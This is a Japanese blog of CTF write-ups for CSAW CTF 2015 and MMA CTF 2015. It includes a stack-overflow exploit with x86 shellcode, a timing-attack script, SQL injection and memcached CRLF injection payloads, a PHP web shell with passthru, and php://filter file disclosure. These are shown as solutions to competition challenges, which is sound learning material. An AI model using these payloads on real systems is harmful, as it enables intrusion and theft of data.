CSAW CTF 2015 Write-up

CSAW CTF 2015

ぼっちチームsuperflipは1200点で287位(´・ω・`)

Web 200 Lawn Care Simulator

gitのディレクトリが残っているので、

git clone http://54.175.3.248:8089/.git/

で手元にファイルを持ってこられる。

新規登録しようとしたときに新規ユーザーかどうかのチェックをSQLのLIKEでしているが、%のエスケープが抜けているので、%というユーザー名で登録しようとすると、→ Username: ~~FLAG~~ is not availableと言われて、~~FLAG~~というユーザーがいることが分かる。

パスワードのチェックで1文字ごとにウエイトを入れているので、タイミング攻撃ができる。パスワードは32文字のはずなのに、10文字目以降実行時間が変わらなくなって悩んだけど、10文字の時点でフラグが表示されていた。時間がかかりすぎるから修正されたのか……。たまにパスワードが一致していなくてもなぜか時間がかかるときがあるので、そこは人力で何とかした。時間がおかしかったら一旦プログラムを止めて、passwordに途中までの値を書き込むとそこから探索できるようにした。あと表示されたフラグに}が抜けていた。

url = "http://54.175.3.248:8089/premium.php"
username = "~~FLAG~~"
password = ""

from urllib import *
from urllib2 import *
from time import *

for i in range(len(password), 32):
    ans = ""
    anst = 0
    for c in "0123456789abcdef":
        p = password+c
        p += "x"*(32-len(p))
        s = time()
        r = urlopen(Request(url, urlencode({"username":username, "password":p}))).read()
        print r
        t = time()-s
        print c, t
        if t>anst:
            ans = c
            anst = t
    password += ans
    print i, password
flag{gr0wth__h4ck!nG!1!1!}

追記

    $index = 0;
    while($hash[$index]){
        if ($pass[$index] != $hash[$index])
            return false;
        # Protect against brute force attacks
        usleep(300000);
        $index+=1;
    }
    return true;

なるほど……。PHP!!!

Exploitables 100 precision

スタックのアドレスを教えてくれるし、スタックも実行可能で簡単。スタックの途中に入っている浮動小数点がチェックされるので、その同じ値で上書きする必要がある。なぜか、execv('/bin/sh')が動かなかったので、システムコールを使ってファイル一覧とフラグを取得した。

from socket import *
from struct import *
from telnetlib import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("54.173.98.115", 1259))

b = s.recv(1000)
stack = int(b[-9:-1], 16)
print "stack",hex(stack)

shell = "a"*0x80
shell += "a5315a4755155040".decode("hex")
shell += "0123456789ab"
shell += pack("<I", stack+len(shell)+4)

shell += (
    "83c47f"+   # add esp, 7f

#   # open(".", 0, 0)
#   "33c0"+     # xor eax, eax
#   "b02e"+     # mov al, 2eh
#   "50"+       # push eax
#   "33c0"+     # xor eax, eax
#   "b005"+     # mov al, 5
#   "8bdc"+     # mov ebx, esp
#   "33c9"+     # xor ecx, ecx
#   "33d2"+     # xor edx, edx
#   "cd80"+     # int 80h

#   # getdents(fd, esp, 0x100)
#   "8bd8"+     # mov ebx, eax
#   "33c0"+     # xor eax, eax
#   "b08d"+     # mov al, 8dh
#   "8bcc"+     # mov ecx, esp
#   "33d2"+     # xor edx, edx
#   "fec6"+     # inc dh
#   "cd80"+     # int 80h

    # open("flag", 0, 0)
    "33c0"+     # xor eax, eax
    "50"+       # push eax,
    "b8666c6167"# mov eax, 0x67616c66
    "50"+       # push eax
    "33c0"+     # xor eax, eax
    "b005"+     # mov al, 5
    "8bdc"+     # mov ebx, esp
    "33c9"+     # xor ecx, ecx
    "33d2"+     # xor edx, edx
    "cd80"+     # int 80h

    # read(fd, esp, 0x100)
    "8bd8"+     # mov ebx, eax
    "33c0"+     # xor eax, eax
    "b003"+     # mov al, 3
    "8bcc"+     # mov ecx, esp
    "33d2"+     # xor edx, edx
    "fec6"+     # inc dh
    "cd80"+     # int 80h


    # write(1, esp, 0x100)
    "33c0"+     # xor eax, eax
    "b004"+     # mov al, 4
    "33db"+     # xor ebx, ebx
    "43"+       # inc ebx
    "8bcc"+     # mov ecx, esp
    "33d2"+     # xor edx, edx
    "fec6"+     # inc dh
    "cd80"+     # int 80h
    "").decode("hex")

shell += "\n"

s.sendall(shell)

sleep(1)
print repr(s.recv(1000))
# flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

Crypto 50 ones_and_zer0es

Cryptoの問題はなぜかテキストなのに拡張子が動画。

2進数を文字に直すだけ。

flat{People always make the best exploits.}

Crypto 50 whiter0se

置換式暗号。このサイトで解けた。

BUT NO, IT WAS A SHORT CUT TO SOMETHING BIGGER. SOMETHING GRANDER. SOMETHING BEAUTIFUL. WE'VE BEEN FOCUSED ON WHAT'S IN FRONT OF US. BUT WE HAVEN'T BEEN LOOKING AT WHAT'S ABOVE US.

Crypto 50 zer0-day

Base64

flag{We are fsociety, we are finally free, we are finally awake!}

Crypto 100 notesy

置換式暗号を行うcgi。暗号化器だけで、平文も暗号文の無いのにどうしろと……と思っていたら、ヒントが追加された。

HINT: If you have the ability to encrypt and decrypt, what do you think the flag is?

対応表が答えだった。この形式どこかでも見た気がする。暗号文ではなく暗号化器が与えられているので、abcdef…を変換するだけ。

UNHMAQWZIDYPRCJKBGVSLOETXF

Forensics 100 Keep Calm and CTF

画像をテキストエディタで開くと書いてある。

h1d1ng_in_4lm0st_pla1n_sigh7

Forensics 100 Transfer

pcapファイル。通信の中にrot13, Base64, シーザー暗号を繰り返して暗号化するPythonスクリプトがあるので、逆算するスクリプトを書く。素直に書いたら、シーザー暗号の復号部で、

TypeError: character mapping must return integer, None or unicode

と怒られ、末尾の=を消したら動いたので、手作業で=を消したり付けたりした。何なんだろう?

import string
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

enc_ciphers = ['rot13', 'b64e', 'caesar']
# dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
    _rot13 = string.maketrans( 
        "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 
        "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
    return string.translate(s, _rot13)

def b64e(s):
    return b64encode(s)

def caesar(plaintext, shift=3):
    alphabet = string.ascii_lowercase
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]
    table = string.maketrans(alphabet, shifted_alphabet)
    return plaintext.translate(table)

def encode(pt, cnt=50):
    tmp = '2{}'.format(b64encode(pt))
    for cnt in xrange(cnt):
        c = random.choice(enc_ciphers)
        i = enc_ciphers.index(c) + 1
        _tmp = globals()[c](tmp)
        tmp = '{}{}'.format(i, _tmp)

    return tmp

#if __name__ == '__main__':
#   print encode(FLAG, cnt=?)

flag = "2Mk16Sk5iakYxVFZoS1RsWn(略)"

while True:
    if flag[0]=="1":
        flag = flag[1:].decode("rot13")
    elif flag[0]=="2":
        flag = flag[1:].decode("base64")
    elif flag[0]=="3":
        flag = caesar(flag[1:], 23)
    else:
        break
    print flag
# flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}

Forensics 100 Flash

イメージファイルが問題。flag{で検索したら出てきた。

flag{b3l0w_th3_r4dar}

Forensics 200 airport

空港の航空写真4枚と、Steghideと書かれたJpegファイルが1枚。このソフトらしい。空港コードがパスワードだろうと思ったが、トロント・ピアソン国際空港だけは画像検索で引っ掛からなかったので、全探索した。

import os
import sys

A = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for a in A:
 for b in A:
  for c in A:
   sys.stdout.write(a+b+c)
   sys.stdout.flush()
   os.system("steghide\\steghide.exe extract -v -sf for_release\\steghide.jpg -xf hoge -p HAVHKGLAX"+a+b+c)
iH4t3A1rp0rt5

Recon 100 Julian Cohen

Twitterに書いてあった。

flag{f7da7636727524d8681ab0d2a072d663}

Trivia

問題文でググったら答えを書いている人がいた。ひどい

MMA CTF 1st 2015 Write-up 2

ありがたいことに、終了後も問題が生きているので、他の人の解答などを見ながら解いた。 ブログに書いておくと、他のコンテスト中に「kusano_k ○○」で出てきて便利。 他人の説明よりは、自分の説明のほうが自分には理解しやすい。

Login As Admin!(2)

mage ctf writeup: MMA CTF 1st 2015

memcachedインジェクション。 分かってしまえばそんなに難しくないのに、SQLインジェクションよりはるかに正解者が少ない。 色々試すときには改行も試すようにしよう。

ログインして、Cookieのセッションに%0d%0aを入れるとエラー画面になる。memcachedだとあたりを付けたら、Cookie%0d%0astats itemsに書き換えると、保存されているアイテムの一覧が見られる。

STAT items:1:number 3
STAT items:1:age 101173
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 2
STAT items:1:expired_unfetched 1
STAT items:1:evicted_unfetched 0
STAT items:3:number 26485
STAT items:3:age 285562
STAT items:3:evicted 0
STAT items:3:evicted_nonzero 0
STAT items:3:evicted_time 0
STAT items:3:outofmemory 0
STAT items:3:tailrepairs 0
STAT items:3:reclaimed 516
STAT items:3:expired_unfetched 516
STAT items:3:evicted_unfetched 0

memcachedを良く知らないけど、保存されているキーはitemsに分類されて保存されるらしい。キーの一覧を見るコマンドは、stats dumpcache 【アイテムの番号】 【個数】%0d%0astats dumpcache 3 26485とすると一覧が表示される。19 bは値のバイト数らしい。

 :
ITEM 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703b [19 b; 1441722497 s]
ITEM f8fa793264a559b109fe0b97a1280806acf6aadaf3017ea5c667a6c174db742d [19 b; 1441722538 s]
ITEM 152c55551e38f74aa13373ef52423e69637b93a56ee45e47bcd6232056e64162 [19 b; 1441722764 s]
ITEM 054ff36eab83bad15aef0d606ecd88145353a62be3ac7bd6a5bcb874463bb559 [19 b; 1441643268 s]
 :

キーの中身を見るのは、gets 【キー名】%0d%0aget 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703bで、

VALUE 05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d 0 19
{"username":"test"}

adminで1文字増えるから、adminのキーは20バイトだろうと、20バイトのキーをCookieに設定してみたけど、なぜかダメだった。ならば自分のキーに値を書き込めば良い。%0d%0aset 05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d 0 0 20%0d%0a{"username":"admin"}を実行すると、STOREDと表示され、そのCookie05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1dに戻せば良い。3個の数字はそれぞれ、圧縮するか、有効期限、データサイズ。

MMA{61016d84e70e0b5ed5c03e4e398c3571}

Alicegame

どうやたらこんな思考が降ってくるんだ……。

x秘密鍵として、h=g^xを使って、(c1=g^r mod p, c2=m h^r mod p)を返してくる暗号サーバー。最初の10回は、rmも指定できる。最後にフラグが書かれたmを乱数rで暗号化して送ってくる。

r=1, m=1とすると、c1gとなり、c2hとなる。pは201ビットの素数なので、r=0, m=2^201を投げると、c2=m mod pなので、p=2^201-mとしてpが分かる。p以上のmが通らない場合は、r=1, 2, 3を投げて、p=gcd(g^2 - (g^2 mod p), g^3 - (g^3 mod p))と求めれば良いらしい。

離散対数問題なんて無理だと思っていたけど、場合によっては解けるらしい。Pohlig–Hellman algorithmこのスライドが分かりやすい。

g^xxに対して周期的になる。周期はp-1p-1が素因数q1, q2, q3, …を持っているとすると、aを整数、x1q1未満の整数として、y=g^(a q1+x1)と書ける。両辺を(p-1)/q1乗すると、y^(p-1)/q1=g^(a (p-1)+x1(p-1)/q1)=g^(x1(p-1)/q1)y1=y^(p-1)/q1, g1=g^(p-1)/q1とすれば、y1=g1^x1。離散対数の問題のままだが、x1q1未満の整数なので、q1が1014程度なら、Baby-step giant-stepアルゴリズムで解ける。このアルゴリズムは半分全列挙のようなもの。O(2^(n/2))

x=x1 mod q1, x=x2 mod q2, …を満たす、x1, x2, …が手に入ったので、あとは中国の剰余定理xが求められる。

ElGamal暗号を使うときは、主催者のMMAのブログにあるように、q素数として2q+1と表せる素数安全素数)を使うべきらしい。

# coding: utf-8

from socket import *
import time
import os
from Crypto.Util.number import *

def get_param():
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(("cry1.chal.mmactf.link", 39985))

    s.send(
        "1\n"+
        "1\n"+
        str(2**201)+"\n"+
        "0\n"+
        "q\n")
    
    time.sleep(1)
    r = [eval(l[l.index("(")-1:]) for l in s.recv(1000).split("\n")[1:-1]]

    g = r[0][0]
    h = r[0][1]
    p = 2**201 - r[1][1]
    gr = r[2][0]
    mhr = r[2][1]

    print "g =", g
    print "h =", h
    print "p =", p
    print "gr =", gr
    print "mhr =", mhr

    os.system("msieve152.exe -q %s"%(p-1))

# get_param()

"""
p1: 2
p1: 3
p1: 7
p3: 281
p6: 585131
p7: 2283091
p8: 66558319
prp11: 38812459031
prp13: 8407411055293
prp13: 8899182573469

g = 1828219035112142373387222893932751631772945852477987101590090
h = 1012750243445446249248731524345776923711031192963358920130436
p = 3047318456124223787871095946374791137939076290647203431778747
gr = 1851635883910479967256646617880733235123029676545812189105888
mhr = 2279140729739532482438192630521498934347693926502811537441460
"""

g = 1828219035112142373387222893932751631772945852477987101590090
h = 1012750243445446249248731524345776923711031192963358920130436
p = 3047318456124223787871095946374791137939076290647203431778747
gr = 1851635883910479967256646617880733235123029676545812189105888
mhr = 2279140729739532482438192630521498934347693926502811537441460
Q = [2, 3, 7, 281, 585131, 2283091, 66558319, 38812459031, 8407411055293, 8899182573469]

# 離散対数(Baby-step giant-step)
# y = g^x mod p
# qはgの位数
def log(g, y, p, q):
    m = int(q**0.5+1)
    T = {}
    t = 1
    for j in range(m):
        T[t] = j
        t = t*g%p
    gm = pow(pow(g, p-2, p), m, p)
    t = y
    for i in range(m):
        if t in T:
            return i*m+T[t]
        t = t*gm%p
    return -1

X = []
for q in Q:
    x = log(pow(g,(p-1)/q,p), pow(h,(p-1)/q,p), p, q)
    print q, x
    X += [x]
print "X =", X

# 拡張ユークリッドの互除法
# mx+ny = gcd(m,n)となる(x, y, gcd(m,n))を返す
def exgcd(m, n):
    if n>0:
        y,x,d = exgcd(n, m%n)
        return x, y-m/n*x, d
    else:
        return 1, 0, m

# 中国の剰余定理
def chinese(A, M):
    n = len(A)
    r = 0
    P = reduce(lambda x,y: x*y, M, 1)
    for i in range(n):
        x,y,d = exgcd(M[i], P/M[i])
        r += y*(P/M[i])*A[i]
    return r%P

x = chinese(X, Q)
print "x =", x

print pow(g, x, p)
print h

m = mhr * pow(pow(gr, x, p), p-2, p)%p
print "m = %x"%m

print long_to_bytes(m)
MMA{wrOng_wr0ng_ElGamal}

MMA CTF 1st 2015 Write-up

MMA CTF 1st 2015に参加した。開催日に知って、ちょっと簡単な問題だけ解くつもりだったけど、どの問題も面白くてがっつり参加してしまった。難易度も幅広くて取っつきやすい。

結果は1150点、38位。100チーム以上が解いている解くべき問題は解けるが、それ以上はいまいちといういつもの感じ。ランキング

Welcome!!

MMA{Welcome_To_MMACTF!!}

Pattern Lock

3x3のパターンロックの総数と、4x4のパターンロックの最長距離を求めよという問題。

3x3はプログラムを書いたらバグって不正解だったけど、ググったら出てきた

389112

4x4は動的計画法。普通に探索するとO(16!)(プロコンオーダー記法)だが、残っている点とその点のうちどこから書き始めるかを覚えておけば、O(2^16×16)で解ける。ちなみに最長のルートは、 5 11 4 10 0 15 1 14 6 8 7 12 2 13 3 9

"""
 0  1  2  3
 4  5  6  7
 8  9 10 11
12 13 14 15
"""

import math

def check(f, t, u):
  if u>>t&1:
    return False
  fx = f%4
  fy = f/4
  tx = t%4
  ty = t/4

  for i in range(2,4):
    if (tx-fx)%i==0 and (ty-fy)%i==0:
      for j in range(1,i):
        px = fx + (tx-fx)/i*j
        py = fy + (ty-fy)/i*j
        if not u>>(py*4+px)&1:
          return False
  
  return True

memo = [[-1]*65536 for _ in range(16)]
next = [[-1]*65536 for _ in range(16)]


def BT(p,u):
  global memo
  global next
  if memo[p][u]>=0:
    return memo[p][u]
  ans = 0
  n = 0
  for i in range(16):
    if check(p,i,u):
      l = BT(i, u|1<<i)+math.hypot(p%4-i%4,p/4-i/4)
      if l>ans:
        ans = l
        n = i
  memo[p][u] = ans
  next[p][u] = n
  return ans
ans = 0
n = 0
for i in range(16):
  l = BT(i, 1<<i)
  if l>ans:
    ans = l
    n = i
print ans

u = 1<<n
p = n
print p,
for i in range(15):
  print next[p][u],
  p,u = next[p][u],u|1<<next[p][u]
print
45.6790

Smart Cipher System

暗号化CGIと、暗号文が渡されて、復号しろという問題。全4問。

crypt2

シーザー暗号。+23すれば良い。

MMA{bba85b6768db240f8c4ae3c29f9928c74f6ca091}

crypt4

平文と暗号文の文字が一対一で対応している。簡単。出現する文字をあらかじめ変換して持っておけば良い。

MMA{bba85b6768db240f8c4ae3c29f9928c74f6ca091}

crypt5

直前の文字とのxor。最初の文字は文字数とxor。

T = [int(x,16) for x in "60 00 0c 3a 1e 52 02 53 02 51 0c 5d 56 51 5a 5f 5f 5a 51 00 05 53 56 0a 5e 00 52 05 03 51 50 55 03 04 52 04 0f 0f 54 52 57 03 52 04 4e".split()]
c = len(T)
ans = ""
for t in T:
    c ^= t
    ans += chr(c)
print ans
MMA{e75fd59d2c9f9c227d28ff412c3fea3787c1fe73}

crypt6

色々試すと、文字を並び替える、文字をビットローテートする、の2段階で暗号化されていることが分かる。またビットローテートの量は対応する位置にある文字の下3ビット。並び替えとビットローテートで対応する文字の位置は文字数ごとに固定。ビットローテートでは立っているビットの個数は変わらないので、ACGO_@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@とかを送信して並び替え方を調べる。2文字目はビットローテートは5bitで固定。ここから順番に復号していく。

T1 = [1, 23, 3, 39, 5, 25, 7, 35, 9, 27, 11, 43, 13, 29, 15, 37, 17, 31, 19, 41, 21, 33, 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44]
T2 = [23, 3, 39, 5, 25, 7, 35, 9, 27, 11, 43, 13, 29, 15, 37, 17, 31, 19, 41, 21, 33, 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, -1]
C = [int(x, 16) for x in "62 a9 6c 28 0e 33 31 c6 68 cd 66 66 59 46 cc 53 0c 98 31 65 c6 35 c9 a9 60 4e 37 b0 33 46 0d 60 46 26 66 33 cc e6 a9 f6 6c 07 2b 23 af".split()]
P = [""]*45

def shift(n,s):
  return n>>s|n<<(8-s)&0xff

p = 1
P[T1.index(p)] = chr(shift(C[p], 5))
p = T1.index(p)

while T2[p]!=-1:
  t = T2[p]
  P[T1.index(t)] = chr(shift(C[t], ord(P[p])&0x7))
  p = T1.index(t)
print "".join(P)
MMA{f9cf7a3ddd5710e85116814fef01c907f4df35ce}

Login as admin!

ログインフォームの脆弱性をついて、adminのパスワードを調べろという問題。典型的なSQL Injection。userの名前がDBから取得した名前になるので、ブラインドSQLなどを使う必要も無い。下の文字列をusernameに入れていけば良い。

' UNION SELECT sqlite_version(), 0--
→ You are 3.8.2 user.

' UNION SELECT sql, 0 FROM sqlite_master--
→ You are CREATE TABLE user ( user text, password text ) user.

' UNION SELECT password, 0 FROM user WHERE user='admin'--
→ You are MMA{cats_alice_band} user.
MMA{cats_alice_band}

Splitted

pcapファイルが問題で、zipファイルをRangeリクエストでダウンロードしていた。分割の個数も多くないので、手作業で貼り合わせ。開いたらPhotoshopのファイルが出てきて、白紙だったけど、レイヤーが重なっているだけ。

MMA{sneak_spy_sisters}

How to use?

WindowsのDLLファイル。?fnhowtouse@@YAHH@Zというシンボル名は、UnDecorateSymbolNameというAPIで元に戻せる。int __cdecl fnhowtouse(int)Pythonのctypesは簡単にDLLの関数が呼び出せて便利。ちなみに、OllyDbgとかImmunityDebuggerなら、DLLファイルを開くと自動でロードしてくれる。これでデバッグしても良さそう。

from ctypes import *
f = getattr(cdll.howtouse, "?fnhowtouse@@YAHH@Z")
print "".join(chr(f(i)) for i in range(45))
MMA{fc7d90ca001fc8712497d88d9ee7efa9e9b32ed8}

RPS

Rock Paper Scissors。じゃんけん。ジャンケンで50連勝しろという問題。ジャンルはPwn。長いプレイヤー名を入力すると、乱数のシード値を上書きして、固定できる。例えば、aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaにすると、SRPRRSRRSSRPRSSSSRRSRPSRPSSSPRRSPPRRSRRPSRPPPRPPSPで勝てる。

MMA{treed_three_girls}

This program cannot be run in DOS mode.

DOSモードでは実行できないけど、Windowsでも実行できない。良く見たら、MZヘッダ中のPEヘッダのオフセットが0で潰されていた。0x3cバイト目を0xe8にすれば良い。

MMA{7a35hxb9q81fsg6}

Signer and Verifier

SignerとVerifierというサーバーが提示された。最初は何のことか分からなかったが、Signerに数字を入力すると数字が返ってくる。Verifierでは固定のnとeが表示され、それとは別に数字が表示されて「Sign it!」と言われる。これはRSA暗号で、Signerはx^dを計算し、Verifierにx^dを返してやると、正解らしい。それではと、SignerにVerifierが提示した数字を入力すると、By the way, I'm looking forward to the PIDs subsystem of cgroups.という謎のエラーで怒られる。

Verifierが表示した数字をxとして、Signerには(2x)^d=2^d x^dを計算してもらう。Signerに2を入力すると、2^dが返ってくるので、あとはこれで(2x)^dを割れば良い。

# coding: utf-8

n = 167891001700388890587843249700549749388526432049480469518286617353920544258774519927209158925778143308323065254691520342763823691453238628056767074647261280532853686188135635704146982794597383205258532849509382400026732518927013916395873932058316105952437693180982367272310066869071042063581536335953290566509
e = 65537

# 2^d
x = 45079099838985725562852606238717200427051379007624461327902168505601211187218876469734461321234449872036659707405487725511293056518165755448751892780025070359086690571912728851484390191469176434804920520148004120893601096389983117747368657326741086665038698187413495968534490174851162613343138684260784792820

# 拡張ユークリッドの互除法
# mx+ny = gcd(m,n)となる(x, y, gcd(m,n))を返す
def exgcd(m, n):
    if n>0:
        y,x,d = exgcd(n, m%n)
        return x, y-m/n*x, d
    else:
        return 1, 0, m
y = exgcd(x, n)[0]

from socket import *
import time

ss = socket(AF_INET, SOCK_STREAM)
ss.connect(("cry1.chal.mmactf.link", 44815))

sv = socket(AF_INET, SOCK_STREAM)
sv.connect(("cry1.chal.mmactf.link", 44816))

time.sleep(1)
a = int(sv.recv(1000).split()[-1])
print "a",a

ss.sendall(str(2*a%n)+"\n")
time.sleep(1)
b = int(ss.recv(1000))      # (2a)^d
print "b",b

ans = b*y%n     # a^d
print "ans",ans
sv.sendall(str(ans)+"\n")
time.sleep(1)
print sv.recv(1000)
MMA{homomorphic_challengers}

Simple Hash

64bitの計算を32bitのプログラムがやっていてとても読みづらい……。が、aを入力として単に

(((0*577+a_0)*577+a_1)*577+a_2)… mod 1000000000000037

を計算しているだけだった。これが、0x1e1eab437eeb0となる値をサーバーに送れば良いらしい。 どうやって逆算するのか悩んだが、modを取っている値が32bitでも64bitでもなく中途半端なことに気が付いた。誕生日攻撃。このハッシュ値を逆算して、最終的に0x1e1eab437eeb0となるような途中のハッシュ値を10000000個くらい求める。あとは順方向からハッシュ値を計算して、大量のハッシュ値の中に同じハッシュ値があればOK。

# coding: utf-8

n = 1000000000000037

def calc_hash(key):
    a = 0
    for k in key:
        a = a*577+ord(k)
        a %= n
    return a

hash = 0x1e1eab437eeb0
inv = pow(577,n-2,n)
print inv
print 577*inv%n

H = {}
for i in range(10000000):
    if (i%100000==0):
        print i
    h = hash
    key = str(i)
    for k in key[::-1]:
        h = (h - ord(k))%n*inv%n
    H[h] = i

i = 0
while True:
    if (i%100000==0):
        print i
    h = calc_hash(str(i)+"a")
    if h in H:
        print "%sa%s"%(i, H[h])
        break
    i += 1

17267385a2163295。もちろん他にも同じハッシュ値になる文字列はある。

MMA{mocho is cute}

Uploader

何でもアップロードできるアップローダーに、.phpのファイルを置かれると危険。ただし、

このアップローダは/<\?|php/を全て消去します。よって、PHPを実行することは出来ません。

らしい。<?php以外に何かないのかと、HTML からの脱出を見たら、<script language="php">があった。でも、phpが含まれているのでは……。→<script language="PHP">

<script language="PHP">
  passthru($_GET["cmd"]);
</script>

を置いて、フラグを探したら、ルートディレクトリにあった。

MMA{you can run php from script tag}

Mortal Magi Agents

この問題が、解けない → ひらめいた → やっぱり解けない → ひらめいた → の繰り返しで、月曜の朝まで夜更かしするハメになった。結局解けなくて、とても悔しい。

何か色々と穴のあるウェブサービスSQL Injectionとか、ディレクトリトラバーサルとか、すでに存在するユーザーでもサインアップできるとか。

URLの?page=newsの部分には任意のファイルを指定できる。ただし末尾にPHPが付加されるし、PHPはそのまま実行されるので、?page=indexとしてもページが入れ子になるだけ。PHPのフィルタを使い、?page=php://filter/convert.base64-encode/resource=indexとしてBase64に変換すると.phpのファイルの読める。adminsテーブルに名前があるユーザーとしてログインすると、../flagが表示されるらしい。

昔のPHPなら、?page=../flag%00で終了だったけど、最近は対策されているらしい。残念。

db.phpにDBのパスワードが書かれているが、外部からは接続不可。残念。

DBアクセス全てインジェクション可能。ただし、サインアップ時は、ユーザー名に制限がありパスワードもハッシュ化されるので無理。最初はsqlmapを使ってブラインドSQLインジェクションをして負荷を掛けていたが、ログイン時にavatorとして取り出せば良いことに途中で気が付いた。例えば、ユーザー名をasdfasdf')union select 0,'86f7e437faa5a7fce15d1ddcb9eaeaea377667b8',(SELECT group_concat(name) from admins),0#、パスワードをaとすると、avatorの部分にadminsテーブルの中身が出力される。データベースから取り出す時点ではなく、取り出した後でパスワードをチェックしているで辻褄を合わせる必要がある。adminsテーブルの中身は、adminとasdf。adminのパスワードハッシュはffffffffffffffffffffffffffffffffffffffffasdf5feba136aea0208ee7f522eb2de1b315eb828512。クラックしようとしたけど無理だった。

f:id:kusano_k:20150908011201p:plain

SQLインジェクションでフラグを読めば良いのではと、asdfasdf')union select 0,'86f7e437faa5a7fce15d1ddcb9eaeaea377667b8',load_file('/var/www/flag'),0#でログインしたけど、DBユーザーは読み取り権限が無いようだった。残念。

ユーザー名adminにしてサインアップするとadminになれるが、何でフラグが表示されないんだ……としばらく悩んだ。フラグを表示するかどうかのセッション変数が設定されるのはログイン時だった。DBには一意性制約があるらしく。サインアップしたように見えて、一度ログアウトするとログインできない。残念。

アップロードする画像のパスにはユーザー名が使われる。普通は英数字に制限されているけど、SQLインジェクションで.php.が入った名前でログインすることができる。phpは末尾ではなく途中にあっても実行されるはず……と思ったが、PHPの実行は無効化されていた。avatorsディレクトリ以外には書き込み不可。残念。

あとはavator画像時のUPDATE文を利用して、adminかasdfのログインパスワードを書き換えるしかない。該当するコードは、

$filename = "avators/" . $_SESSION["user"] . sha1_file($_FILES['file']['tmp_name']) . $ext;
$db->query("UPDATE users SET avator = '$filename' WHERE name = '".$_SESSION['user']."'");

$_SESSION['user']が2箇所に表れるけど、最初でコメントアウトすれば良さそう。問題は、$_SESSION['user']に文字列を書き込むにはこの文字列でログインする必要があること。ログインのコードは、

$results = $db->query("SELECT * FROM users WHERE (name = '$user' AND not banned)");

コメントアウトすると括弧の整合性がとれなくなる。

最後に思いついたのが、ユーザー名ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='0。これによって、それぞれのSQL文は、

SELECT * FROM users WHERE (name = 'ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='0' AND not banned)
UPDATE users SET avator = 'avators/ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='09089.png' WHERE name = 'ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='0'

となる。でも、UPDATEのところで失敗。bannedに文字列を設定しているからだろうか……(書いている途中に気が付いた。UPDATEの列の区切りはANDじゃなくて,だ)。

終了。

想定解放。

すごい……。

regrettable ecc

楕円曲線公開鍵暗号の復号。G楕円曲線上点、e=65537秘密鍵は整数k。暗号化は乱数rを生成して、M=rG, S=eM, H=kG, T=erH-MMを平文の暗号化に使う。公開鍵は、ST。復号時は、M=kS-Tとする。たしかに、kS-T=kerG-(erkG-M)=M。何かそれっぽい。使っている楕円曲線もNIST推奨のもの。

楕円曲線は除算ができないので、SからMを求めることはできない。こんなん無理では……と思ったけど、よくよく考えてみると、eMからeを求めることはできなくても、Mを求めることはできる。環なので、eの逆数を掛ければ良い。楕円曲線の位数は自明ではないが、良く使われる曲線なので、ググったら出てきたn=115792089210356248762697446949407573529996955224135760342422259061068512044369らしい。1/e=pow(e, n-2, n)

【問題のclass ECP】をコピペ

p = 115792089210356248762697446949407573530086143415290314195533631308867097853951
A = -3
B = 41058363725152142129326129780047268409114441015993725554835256314039467401291
G = ECP(48439561293906451759052585252797914202762949526041747995844080717082404635286,
        36134250956749795798585127919587881956611106672985015071877198253568414405109)
e = 65537
DEM_IV = "\xAA"*16

# https://perso.univ-rennes1.fr/sylvain.duquesne/master/standards/standards_NIST_Certicom.txt
n = 115792089210356248762697446949407573529996955224135760342422259061068512044369

inv = pow(e, n-2, n)

S = ECP(114415776318896227909080061791436136534751468438742349442109460521381468180987, 113006367255062683561771671227582279732943810213810498306378475155500374652448)
T = ECP(71511408166265472816974171596094618880923968931727783411416162091208530633368, 21293382321037703297575365042014944295932942747556648773039800366087504602357)
dem_c = 3513567433984887885115224229823172531083230224356638967377256761767267040054250835842705493954920117835275646236313L

M = inv*S

def unpad(m):
    return m[:-ord(m[-1])]

cipher = AES.new(long_to_bytes(M.x, 32), mode = AES.MODE_CBC, IV = DEM_IV)
print unpad(cipher.decrypt(long_to_bytes(dem_c, AES.block_size)))

という解法プログラムを書いたらエラー。なぜか問題のECPの加算がxが等しい場合にNoneを返していたので、ECP(None, None)を返すように修正した。

MMA{4a2f832ab7fae69820a697156e0d3dd7423f81ed}

stream...

解けなかった。他の人の答え。ヘッダを見たらクライアントは古いWindows Media PlayerらしいからXPを引っ張り出して、問題のファイルを送信するサーバーを書いたけどダメだった。解像度は取得できているっぽいのに、何故か再生してくれなかった。ぐぬぬ

Nagoya Castle

ステガノグラフィー。Stegsolveで開いて、ボタンを押したら答えが出てきた。

MMA{raw_cr3am_pasta!}

